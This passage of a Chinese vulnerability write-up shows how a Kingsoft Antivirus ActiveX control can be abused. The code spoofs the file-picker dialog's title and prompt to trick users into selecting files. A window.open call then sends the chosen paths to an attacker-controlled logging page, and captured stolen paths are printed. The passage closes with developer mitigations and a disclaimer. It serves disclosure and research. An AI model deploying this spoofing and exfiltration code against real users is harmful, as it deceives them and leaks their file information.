确实没有考虑仔细,我们完全可以制造出一个带有欺骗性质的文件选择对话框,并且它还是 金山毒霸提供的!不信,请大家仔细往下看,我们现在来修改上面的测试代码,如下: <object classid="clsid:EE69644E-8492-457A-87DC-15C3AE822E79" name="evil" ></object> <script> var a=evil.GetOpenFileNameEx2(1,"金山毒霸在线杀毒功能","请选择您要查杀的文 件",0,100,100,0,0); document.write(a); </script> 这一次,我们修改了 GetOpenFileNameEx2函数的第 2和第 3 个参数的值,这两个参数 分别可以控制文件选择对话框的标题栏内容和对话框内容,效果如图4所示。 ![]() 图4 中我们看到原本图2中文件对话框空白的标题栏现在出现了“金山毒霸在线杀毒功 能”几个字眼,而原先的“请选择扫描路径:”也被我们修改为了“请选择您要查杀的文件”。 相信一般的用户看到图4这个对话框的时候,一定以为是金山毒霸在线杀毒功能被启动了, 就会自觉的选择自己爱机上的文件,并且去点击“确定”按钮。 既然第一步欺骗实现了,那么第二步就是要在等待用户点击“确定”后,将 GetOpenFileNameEx2 函数的值发送到攻击者的服务器上。要想获取到用户点击“确定”按 钮后,GetOpenFileNameEx2 函数返回的值,可以借助 XSS 的方法,打开一个新的窗口来提 交函数返回值,即像下面这样写代码: <object classid="clsid:EE69644E-8492-457A-87DC-15C3AE822E79" name="evil" ></object> <script> var a=evil.GetOpenFileNameEx2(1,"金山毒霸在线杀毒功能","请选择您要查杀的文 件",0,100,100,0,0); window.open("http://127.0.0.1/xss.asp?xss="+encodeURIComponent(a)+">"); </script> xss.asp 文件是一个用来记录用户提交过来的信息的文件,当用户被我们的文件对话 框欺骗后,他一旦选择好被查杀的文件并点击“确定”按钮后,GetOpenFileNameEx2 函数 的返回值 a就会立即被提交给攻击者的服务器,此刻,xss.asp文件就可以立即将a的值记 录下来,从而实现远程获取到用户系统上的文件信息,下面就是我们记录下来的一次欺骗攻 击成功后,用户系统上的文件信息: {result:{paths:["C:\\Documents and Settings\\Administrator\\桌面\\115 优 蛋.lnk","C:\\Documents and Settings\\Administrator\\桌面\\新建 文本文档 (2).txt","C:\\Documents and Settings\\Administrator\\ 桌面 \\Close Monitor.exe.lnk","C:\\Documents and Settings\\Administrator\\ 桌面 \\HprSnap6.exe.lnk"],count:4}}> 仅仅是一个思路,竟然使得金山毒霸成为了攻击者用来欺骗用户的帮凶,这就是安全 漏洞挖掘的灵活性。 上面这个漏洞得以成功利用的关键在于,金山毒霸的人员在开发控件时,第一没有考 虑到控件使用的范围,应该竟可能小;第二,函数本身应该严谨,不该提供的参数就固定化。 前面,我们就是利用了两个参数来修改文件选择对话框的标题和内容,这是很危险的;第三, 没有使用校验机制。控件应该在返回用户选择文件的信息时进行加密处理,从而保护用户信 息不被泄露。安全软件的编写应该十分谨慎,多一道防范就给用户多一道安全保证。 最后,上面的这个漏洞其实从本质上还不能被定义为严格的安全漏洞,只是被巧妙地 利用了。大家可以以此类推,扩展自己的思路来研究软件安全。本文旨在讨论技术,希望读 者不要借助本文技术来做任何违法事情。 |